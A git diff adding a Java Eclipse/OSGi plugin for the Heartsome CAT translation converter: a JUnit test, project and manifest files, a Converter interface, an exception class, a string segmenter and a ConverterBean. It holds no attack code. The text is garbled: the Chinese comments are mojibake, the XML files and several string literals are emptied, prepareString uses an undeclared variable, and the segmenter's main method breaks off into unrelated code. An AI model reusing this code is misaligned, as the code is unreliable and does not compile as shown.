ConverterException.class) + public void testConvertMissingIsGen() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + args.put(Converter.ATTR_IS_GENERIC, Converter.TRUE); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter/.classpath b/hsconverter/net.heartsome.cat.converter/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter/.project b/hsconverter/net.heartsome.cat.converter/.project new file mode 100644 index 0000000..96e2f53 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..cdb736d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Wed Jun 16 10:56:26 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter/META-INF/MANIFEST.MF new file mode 100644 index 0000000..b8f55ce --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter +Bundle-SymbolicName: net.heartsome.cat.converter +Bundle-Version: 8.0.1.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.Activator +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.3.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.converter, + net.heartsome.cat.converter.util +Bundle-ClassPath: . +Require-Bundle: net.heartsome.library3;bundle-version="1.0.0";visibility:=reexport +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter/build.properties b/hsconverter/net.heartsome.cat.converter/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter/net.heartsome.cat.converter.bnd b/hsconverter/net.heartsome.cat.converter/net.heartsome.cat.converter.bnd new file mode 100644 index 0000000..1ca2267 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/net.heartsome.cat.converter.bnd @@ -0,0 +1 @@ +Export-Package:net.heartsome.cat.converter.*;version=1.0.0 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Activator.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Activator.java new file mode 100644 index 0000000..a06673c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Activator.java @@ -0,0 +1,46 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; + +/** + * The Class Activator. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter"; + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Converter.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Converter.java new file mode 100644 index 0000000..8e96af4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/Converter.java @@ -0,0 +1,181 @@ +/** + * Converter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter; + +import java.util.Map; + +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * The Interface Converter. 转æ¢å™¨æŽ¥å£ï¼Œæ‰€æœ‰è½¬æ¢å™¨å®žçŽ°éƒ½éœ€è¦å®žçŽ°æ­¤æŽ¥å£ã€‚ 具体的转æ¢å™¨å®žçŽ°ï¼Œåœ¨ä»¥ OSGI æœåŠ¡è¿›è¡Œæ³¨å†Œçš„时候,需è¦æŒ‡å®šæ‰€æ”¯æŒçš„ TYPE + * CONVERT_DIRECTION。å¦åˆ™æ³¨å†Œçš„æœåŠ¡ä¸ä¼šè¢«ä½¿ç”¨ã€‚如果ä¸æ˜¯åœ¨ OSGI 环境中使用,则需è¦å®žçŽ°ç›¸åº”的工厂方法实例化具体的实现类,é¿å…客户端代ç ç›´æŽ¥å®žä¾‹åŒ–具体实现类。. + * @author cheney + * @version + * @since JDK1.6 + */ +public interface Converter { + + /** The Constant DEBUG_MODE. */ + boolean DEBUG_MODE = true; + + /** The Constant HSSCHEMALOCATION. */ + String HSSCHEMALOCATION = "http://www.heartsome.net.cn/2008/XLFExtension XLFExtension.xsd"; + + /** The Constant HSNAMESPACE. */ + String HSNAMESPACE = "http://www.heartsome.net.cn/2008/XLFExtension"; + + /** 转æ¢å™¨æ‰€æ”¯æŒçš„转æ¢ç±»åž‹ï¼ˆæ–‡ä»¶æ ¼å¼ï¼‰. */ + String ATTR_TYPE = "type"; + + /** 所支æŒçš„文件类型å称。. */ + String ATTR_TYPE_NAME = "type.name"; + + /** 转æ¢å™¨çš„åå­—. */ + String ATTR_NAME = "name"; + + /** 转æ¢çš„æ–¹å‘。正å‘或åå‘。. */ + String ATTR_DIRECTION = "direction"; + + /** æ­£å‘转æ¢. */ + String DIRECTION_POSITIVE = "positive"; + + /** åå‘转æ¢. */ + String DIRECTION_REVERSE = "reverse"; + + /** æºæ–‡ä»¶è·¯å¾„. */ + String ATTR_SOURCE_FILE = "source.file"; + + /** XLIFF文件路径. */ + String ATTR_XLIFF_FILE = "xliff.file"; + + /** æºæ–‡ä»¶è¯­è¨€. */ + String ATTR_SOURCE_LANGUAGE = "source.lang"; + + /** 目标语言. */ + String ATTR_TARGET_LANGUAGE = "target.lang"; + + /** æºæ–‡ä»¶ç¼–ç . */ + String ATTR_SOURCE_ENCODING = "source.encoding"; + + /** 骨架文件路径. */ + String ATTR_SKELETON_FILE = "skeleton.file"; + + /** 目标文件路径. */ + String ATTR_TARGET_FILE = "target.file"; + + /** catalogue 的文件路径. */ + String ATTR_CATALOGUE = "catalogue.file"; + + /** 分段规则文件路径. */ + String ATTR_SRX = "srx.file"; + + /** 是å¦ä»¥ element 进行分割. */ + String ATTR_SEG_BY_ELEMENT = "seg_by_element"; + + /** The Constant TRUE. */ + String TRUE = "true"; + + /** The Constant FALSE. */ + String FALSE = "false"; + + /** The Constant ATTR_IS_SUITE. */ + String ATTR_IS_SUITE = "isSuite"; + + /** The Constant ATTR_QT_TOOLID. */ + String ATTR_QT_TOOLID = "QT_TOOLID"; + + /** The Constant QT_TOOLID_DEFAULT_VALUE. */ + String QT_TOOLID_DEFAULT_VALUE = "XLFEditor auto-Quick Translation"; + + /** The Constant ATTR_INI_FILE. */ + String ATTR_INI_FILE = "ini.file"; + + /** The Constant ATTR_LOCK_XTRANS. */ + String ATTR_LOCK_XTRANS = "lock_xtrans"; + + /** The Constant ATTR_LOCK_100. */ + String ATTR_LOCK_100 = "lock_100"; + + /** The Constant ATTR_LOCK_101. */ + String ATTR_LOCK_101 = "lock_101"; + + /** The Constant ATTR_LOCK_REPEATED. */ + String ATTR_LOCK_REPEATED = "lock_repeated"; + + /** The Constant ATTR_IS_INDESIGN. */ + String ATTR_IS_INDESIGN = "isInDesign"; + + /** The Constant ATTR_IS_RESX. */ + String ATTR_IS_RESX = "isResx"; + + /** The Constant ATTR_IS_GENERIC. */ + String ATTR_IS_GENERIC = "isGeneric"; + + /** The Constant ATTR_PROGRAM_FOLDER. é…置文件目录 */ + String ATTR_PROGRAM_FOLDER = "program.folder"; + + /** The Constant PROGRAM_FOLDER_DEFAULT_VALUE. 默认é…置文件目录 */ + String PROGRAM_FOLDER_DEFAULT_VALUE = "./"; + + /** The Constant ATTR_FORMAT. 文件类型 */ + String ATTR_FORMAT = "source.format"; + + /** The Constant ATTR_IS_TAGGEDRTF. 是å¦ä¸º TaggedRTF æ ¼å¼ */ + String ATTR_IS_TAGGEDRTF = "isTaggedRTF"; + + /** 是å¦æŒ‰ CR/LF 分段 */ + String ATTR_BREAKONCRLF = "breakOnCRLF"; + + /** 将骨架嵌入 xliff 文件 */ + String ATTR_EMBEDSKL = "embedSkl"; + + /** ini 目录路径 */ + String ATTR_INIDIR = "iniDir"; + + /** 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + String ATTR_IS_PREVIEW_MODE = "isPreviewMode"; + + // TODO + /* + * 此接å£éœ€è¦è¿›ä¸€æ­¥è¿›è¡Œå®Œå–„,传入å‚æ•° Map 所需è¦æŒ‡å®šçš„ key,返回 Map 中所需è¦æŒ‡å®šçš„ key。 + */ + /** + * Convert. + * @param args + * 转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„特定å‚数,如æºæ–‡ä»¶è·¯å¾„ã€ç›®æ ‡æ–‡ä»¶è·¯å¾„等。ä¸èƒ½ä¸ºNULL + * @param monitor + * 监视转æ¢è¿‡ç¨‹çš„进度,IProgressMonitorä½äºŽ org.eclipse.equinox.common æ’件中。此æ’件中的类ä¸ä¾èµ–特定 eclispe å¹³å°æˆ– OSGI + * å¹³å°çš„特定类,è§ConverterExceptionåŠç›¸å…³ API 的说明。å…许为 NULL + * @return 转æ¢ç»“果。如目标文件路径等 + * @throws ConverterException + * 在转æ¢çš„过程中å‘生错误,则抛出ConverterException + */ + Map convert(Map args, IProgressMonitor monitor) throws ConverterException; + + /** + * Gets the name. + * @return 返回转æ¢å™¨çš„åå­— + */ + String getName(); + + /** + * Gets the type. + * @return 返回转æ¢å™¨æ”¯æŒçš„文件类型 + */ + String getType(); + + /** + * Gets the type name. + * @return 返回转æ¢å™¨æ”¯æŒçš„文件类型å称 + */ + String getTypeName(); + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/ConverterException.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/ConverterException.java new file mode 100644 index 0000000..375f70f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/ConverterException.java @@ -0,0 +1,38 @@ +/** + * ConverterException.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IStatus; + +/** + * The Class ConverterException. 转æ¢å™¨åœ¨è½¬æ¢çš„过程中å‘生错误时,抛出的需检测异常。 此类继承自CoreException,CoreException + * ä½äºŽæ’件 org.eclipse.equinox.common çš„ org.eclipse.core.runtime 包内。 æ’件 org.eclipse.equinox.common 内的的类是ä¸ä¾èµ– OSGI + * å¹³å°çš„,所以转æ¢å™¨æŽ¥å£åŠå…¶å®žçŽ°ä¾èµ–此类,并ä¸ä¼šä½¿è½¬æ¢å™¨å®žçŽ°ä¾èµ–于特定的 eclipse å¹³å°æˆ– OSGI å¹³å°ã€‚但转æ¢å™¨å†…部的错误异常转化为CoreException + * çš„å­ç±»å®žä¾‹è¿›è¡ŒæŠ›å‡ºï¼Œå¯ä»¥æ–¹ä¾¿å®¢æˆ·ç«¯ä»£ç (UI 和相关逻辑层)以 eclipse å¹³å°ç»Ÿä¸€çš„æ–¹å¼è¿›è¡Œå¤„ç†ã€‚ 转æ¢å™¨åœ¨è½¬æ¢çš„过程中,以会é‡åˆ°ä¸åŒç§ç±»çš„异常,具体的异常å¯åœ¨æ­¤ç±»çš„基础上进行扩展。 + * @author cheney + * @version + * @since JDK1.6 + */ +public class ConverterException extends CoreException { + + /** The Constant serialVersionUID. */ + private static final long serialVersionUID = 1L; + + /** + * Instantiates a new converter exception. + * @param status + * the status + */ + public ConverterException(IStatus status) { + super(status); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/StringSegmenter.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/StringSegmenter.java new file mode 100644 index 0000000..c054c42 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/StringSegmenter.java @@ -0,0 +1,509 @@ +/** + * StringSegmenter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter; + +import java.io.IOException; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Vector; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.xml.sax.SAXException; + +/** + * The Class StringSegmenter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class StringSegmenter { + + /** The rules. */ + Vector rules; + + /** The tags. */ + Hashtable tags; + + // private StringSegmenter() { + // // do not allow instantiation without parameters + // } + + /** + * Instantiates a new string segmenter. + * @param srxFile + * the srx file + * @param language + * the language + * @param catalogFile + * the catalog file + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + * @throws ConverterException + * the converter exception + */ + public StringSegmenter(String srxFile, String language, String catalogFile) throws SAXException, IOException, + ParserConfigurationException, ConverterException { + if (srxFile == null || "".equals(srxFile)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("converter.StringSegmenter.msg1")); + } + + if (catalogFile == null || "".equals(catalogFile)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("converter.StringSegmenter.msg2")); + } + + SAXBuilder builder = new SAXBuilder(); + Catalogue catalogue = new Catalogue(catalogFile); + builder.setValidating(true); + builder.setEntityResolver(catalogue); + Document doc = builder.build(srxFile); + Element root = doc.getRootElement(); + Element body = root.getChild("body"); //$NON-NLS-1$ + + Hashtable rulenames = new Hashtable(); + rules = new Vector(); + + // check if there are map rules for this language + Element maprules = body.getChild("maprules"); //$NON-NLS-1$ + if (maprules != null) { + List map = maprules.getChildren(); + Iterator it = map.iterator(); + while (it.hasNext()) { + Element maprule = it.next(); + List langmap = maprule.getChildren(); + for (int i = 0; i < langmap.size(); i++) { + Element languagemap = langmap.get(i); + if (Pattern.matches(languagemap.getAttributeValue("languagepattern", ""), language)) { //$NON-NLS-1$ //$NON-NLS-2$ + rulenames.put(languagemap.getAttributeValue("languagerulename", "--no value--"), ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + } + + if (rulenames.size() < 1) { + // no rules to load + MessageFormat mf = new MessageFormat(Messages.getString("converter.StringSegmenter.msg3")); + Object[] args = { language }; + System.err.println(mf.format(args)); + args = null; + + return; + } + + // now get the rules + Element languagerules = body.getChild("languagerules"); //$NON-NLS-1$ + if (languagerules != null) { + List langrules = languagerules.getChildren("languagerule"); //$NON-NLS-1$ + Iterator it = langrules.iterator(); + while (it.hasNext()) { + Element languagerule = it.next(); + if (rulenames.containsKey(languagerule.getAttributeValue("languagerulename", "--no name--"))) { //$NON-NLS-1$ //$NON-NLS-2$ + List rulelist = languagerule.getChildren("rule"); //$NON-NLS-1$ + for (int i = 0; i < rulelist.size(); i++) { + rules.add(rulelist.get(i)); + } + } + } + } + } + + /** + * Segment. + * @param string + * the string + * @return the string[] + */ + public String[] segment(String string) { + + if (string.trim().equals("") || rules.size() == 0) { //$NON-NLS-1$ + String[] result = new String[1]; + result[0] = string; + return result; + } + + Vector strings = new Vector(); + tags = new Hashtable(); + strings.add(prepareString(string)); + + // now segment the strings + int rulessize = rules.size(); + for (int i = 0; i < rulessize; i++) { + Element rule = rules.get(i); + boolean breaks = rule.getAttributeValue("break", "yes").equalsIgnoreCase("yes"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + Element before = rule.getChild("beforebreak"); //$NON-NLS-1$ + Element after = rule.getChild("afterbreak"); //$NON-NLS-1$ + String beforexp = ""; //$NON-NLS-1$ + if (before != null) { + beforexp = before.getText(); + } + String afterxp = ""; //$NON-NLS-1$ + if (after != null) { + afterxp = after.getText(); + } + if (breaks) { + // This rule tries to break segments + Vector temp = new Vector(); + for (int j = 0; j < strings.size(); j++) { + String[] parts = split(strings.get(j), beforexp, afterxp); + for (int k = 0; k < parts.length; k++) { + temp.add(parts[k]); + } + } + strings = null; + strings = temp; + } else { + + // strings = connect3(strings,beforexp,afterxp); + + // This rule marks exceptions, like abbreviations + Vector temp = new Vector(); + String current = strings.get(0); + for (int j = 1; j < strings.size(); j++) { + String next = strings.get(j); + if (endsWith(current, beforexp) && startsWith(next, afterxp)) { + current = current + next; + } else { + temp.add(current); + current = next; + } + } + temp.add(current); + strings = null; + strings = temp; + + } + } + + String[] result = new String[strings.size()]; + for (int h = 0; h < strings.size(); h++) { + result[h] = cleanup(strings.get(h)); + } + return result; + } + + // private Vector connect3(Vector strings, String beforexp, + // String afterxp) { + // Vector temp = new Vector(); + // StringBuilder sb = new StringBuilder(); + // ArrayList stringsList = new ArrayList(); + // String[] stringsData; + // for (int i = 0; i < strings.size(); i++) { + // stringsData = new String[2]; + // stringsData[0] = "" + sb.length(); + // stringsData[1] = "" + (sb.length() + strings.get(i).length()); + // sb.append(strings.get(i)); + // stringsList.add(stringsData); + // } + // Pattern p = Pattern.compile(beforexp); + // Matcher m; + // int start = 0; + // int curEnd = 0; + // boolean addFlag = false; + // for (int j = 0; j < stringsList.size();) { + // for (int i = strings.size() - 1; i >= 0; i--) { + // if (Integer.parseInt(stringsList.get(i)[0]) <= start) { + // break; + // } + // curEnd = Integer.parseInt(stringsList.get(i)[1]); + // m = p.matcher(sb.substring(start, curEnd)); + // if (m.matches()) { + // int end = start + m.end(); + // if (startsWith(sb.substring(end), afterxp)) { + // if (end == curEnd) { + // if (i == strings.size() - 1) { + // temp.add(sb.substring(start, end)); + // start = curEnd; + // addFlag = true; + // j = i + 1; + // break; + // } else { + // temp.add(sb.substring(start, end) + // + strings.get(i + 1)); + // start = Integer + // .parseInt(stringsList.get(i + 1)[1]); + // addFlag = true; + // j = i + 2; + // break; + // } + // } else { + // temp.add(sb.substring(start, start + end)); + // if (i == strings.size() - 1) { + // temp.add(sb.substring(end)); + // addFlag = true; + // j = i + 1; + // break; + // } else { + // temp.add(sb.substring(end, Integer + // .parseInt(stringsList.get(i + 1)[0]))); + // addFlag = true; + // start = Integer + // .parseInt(stringsList.get(i + 1)[0]); + // break; + // } + // } + // } + // } + // } + // if (!addFlag) { + // start = Integer.parseInt(stringsList.get(j)[1]); + // temp.add(strings.get(j)); + // j++; + // } + // addFlag = false; + // } + // return temp; + // } + + /** + * Cleanup. + * @param string + * the string + * @return the string + */ + private String cleanup(String string) { + Enumeration keys = tags.keys(); + while (keys.hasMoreElements()) { + String key = keys.nextElement(); + int index = string.indexOf(key); + if (index != -1) { + string = string.substring(0, index) + tags.get(key) + string.substring(index + 1); + } + } + return string; + } + + /** + * Prepare string. + * @param string + * the string + * @return the string + */ + private String prepareString(String string) { + + int start = string.indexOf(""); //$NON-NLS-1$ + + int k = 0; + while (start != -1 && end != -1) { + if (start > end) { + break; + } + String tag = string.substring(start, end + 5); + string = string.substring(0, start) + (char) ('\uE000' + k) + string.substring(end + 5); + tags.put("" + (char) ('\uE000' + k), tag); //$NON-NLS-1$ + k++; + start = string.indexOf(""); //$NON-NLS-1$ + } + + StringBuffer buffer = new StringBuffer(); + StringBuffer element = new StringBuffer(); + int length = string.length(); + boolean inElement = false; + for (int i = 0; i < length; i++) { + char c = string.charAt(i); + if (c == '<' && string.indexOf(">", i) != -1) { //$NON-NLS-1$ + inElement = true; + int a = string.indexOf("<", i + 1); //$NON-NLS-1$ + int b = string.indexOf(">", i + 1); //$NON-NLS-1$ + if (a != -1 && a < b) { + inElement = false; + } + if (i < length - 1 && !Character.isLetter(string.charAt(i + 1)) && string.charAt(i + 1) != '/') { + inElement = false; + } + } + if (inElement) { + element.append(c); + } else { + buffer.append(c); + } + if (c == '>' && inElement) { + inElement = false; + tags.put("" + (char) ('\uE000' + k), element.toString()); //$NON-NLS-1$ + buffer.append((char) ('\uE000' + k)); + element = null; + element = new StringBuffer(); + k++; + } + } + + return buffer.toString(); + } + + /** + * Ends with. + * @param string + * the string + * @param exp + * the exp + * @return true, if successful + */ + private boolean endsWith(String string, String exp) { + Pattern p = Pattern.compile(exp); + Matcher m = p.matcher(string); + String[] pieces = split(string, exp); + // if ( pieces.length == 1 && m.lookingAt()) { + // return false; + // } + + if (pieces.length == 1) { + while (m.find()) { + if (string.endsWith(m.group())) { + return true; + } + } + return false; + } + + String last = pieces[pieces.length - 1]; + String[] parts = string.split(exp); + if (parts.length == 0) { + parts = new String[1]; + parts[0] = ""; //$NON-NLS-1$ + } + String lastPart = parts[parts.length - 1]; + boolean result = !lastPart.equals(last); + return result; + } + + /** + * Split. + * @param string + * the string + * @param beforexp + * the beforexp + * @param afterxp + * the afterxp + * @return the string[] + */ + private String[] split(String string, String beforexp, String afterxp) { + String[] strings = split(string, beforexp); + if (strings.length == 1 || afterxp.equals("")) { //$NON-NLS-1$ + return strings; + } + Vector parts = new Vector(); + String current = strings[0]; + for (int i = 1; i < strings.length; i++) { + if (startsWith(strings[i], afterxp)) { + parts.add(current); + current = strings[i]; + } else { + current = current + strings[i]; + } + } + parts.add(current); + String[] result = new String[parts.size()]; + for (int i = 0; i < parts.size(); i++) { + result[i] = parts.get(i); + } + return result; + } + + /** + * Starts with. + * @param string + * the string + * @param exp + * the exp + * @return true, if successful + */ + private boolean startsWith(String string, String exp) { + Pattern p = Pattern.compile(exp); + Matcher m = p.matcher(string); + if (m.lookingAt()) { + return true; + } + return false; + } + + /** + * Split. + * @param string + * the string + * @param exp + * the exp + * @return the string[] + */ + private String[] split(String string, String exp) { + Pattern p = Pattern.compile(exp); + if (exp.equals("") || p.split(string).length == 1) { //$NON-NLS-1$ + String[] result = new String[1]; + result[0] = string; + return result; + } + + Vector parts = new Vector(); + while (p.split(string).length != 1) { + String[] halves = p.split(string, 2); + parts.add(string.subSequence(0, string.lastIndexOf(halves[1]))); + string = halves[1]; + } + if (!string.equals("")) { //$NON-NLS-1$ + parts.add(string); + } + String[] result = new String[parts.size()]; + for (int i = 0; i < parts.size(); i++) { + result[i] = (String) parts.get(i); + } + return result; + } + + /** + * The main method. + * @param args + * the arguments + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + * @throws ConverterException + * the converter exception + */ + public static void main(String[] args) throws SAXException, IOException, ParserConfigurationException, + ConverterException { + StringSegmenter segmenter = new StringSegmenter("srx/default_rules.srx", "en", //$NON-NLS-1$ //$NON-NLS-2$ + "catalogue/catalogue.xml"); //$NON-NLS-1$ + // String[] result = segmenter.segment("The exemplary distinction of Heartsome's translation " + //$NON-NLS-1$ + // "service is rare and unique in the industry. It is intentional and purposefully " + //$NON-NLS-1$ + // "dedicated to servicing clients that are avowedly discerning in the value of " + //$NON-NLS-1$ + // "quality translation. These clients expect our services to measurably add value " + //$NON-NLS-1$ + // "in a manner that will serve to complete their competitive advantage. We are " + //$NON-NLS-1$ + // "possibly the one and only translation service in the industry capable of adding " + //$NON-NLS-1$ + // "recognition, credence and value to brand consciousness and exclusivity."); //$NON-NLS-1$ + // for (int i=0 ; i 0) { + int workedTask = calculateProcessed(size); + if (workedTask > 0) { + monitor.worked(workedTask); + } + } + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterBean.java b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterBean.java new file mode 100644 index 0000000..5f5aa32 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterBean.java @@ -0,0 +1,154 @@ +/** + * ConverterBean.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.util; + +/** + * The Class ConverterBean. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class ConverterBean { + + /** The name. */ + private final String name; + + /** The description. */ + private final String description; + + /** The filter extensions */ + // TODO æ­¤åˆå§‹åŒ–值应当被删除,并且删除 ConverterBean(String name, String description) 构造方法。 + // 在删除之å‰åº”该将æ¯ä¸ªè½¬æ¢å™¨æ’件中调用的 ConverterBean 构造方法改为 ConverterBean(String name, String description, String[] + // filterExtensions),这å¯èƒ½éœ€è¦åœ¨è½¬æ¢å™¨æŽ¥å£æ·»åŠ ä¸€ä¸ªå­—段 + private String[] extensions = {}; + + /** + * Instantiates a new converter bean. + * @param name + * the name + * @param description + * the description + */ + public ConverterBean(String name, String description) { + this.name = name; + this.description = description; + } + + /** + * Instantiates a new converter bean. + * @param name + * åå­— + * @param description + * æè¿° + * @param filterExtensions + * 过滤åŽç¼€å + */ + public ConverterBean(String name, String description, String[] extensions) { + this.name = name; + this.description = description; + this.extensions = extensions; + } + + /** + * Gets the name. + * @return the name + */ + public String getName() { + return name; + } + + /** + * Gets the description. + * @return the description + */ + public String getDescription() { + return description; + } + + /** + * Gets the extensions. + * @return the description + */ + public String[] getExtensions() { + return extensions; + } + + /** + * (non-Javadoc) + * @see java.lang.Object#toString() + * @return + */ + @Override + public String toString() { + return description; + } + + /** + * (non-Javadoc) + * @see java.lang.Object#equals() + * @return + */ + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (!(obj instanceof ConverterBean)) { + return false; + } + ConverterBean bean = (ConverterBean) obj; + if (name == null) { + if (bean.name != null) { + return false; + } + } else if (!name.equals(bean.name)) { + return false; + } + return false; + } + + /** + * 得到文件过滤æ¡ä»¶å。 + * @return ; + */ + public String getFilterNames() { + String temp = getFilterExtensionString(","); + return description + " Files [" + temp + "]"; + } + + /** + * 得到文件过滤拓展å。 + * @return ; + */ + public String getFilterExtensions() { + return getFilterExtensionString(";"); + } + + /** + * 得到文件过滤拓展å的字符串。 + * @param sep + * 分隔符 + * @return ; + */ + private String getFilterExtensionString(String sep) { + String temp = ""; + for (int i = 0; i < extensions.length; i++) { + temp += extensions[i]; + if (i != extensions.length - 1) { + temp += sep; + } + } + return temp; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter/src/net/heartsome/cat/converter/util/ConverterRegister.java 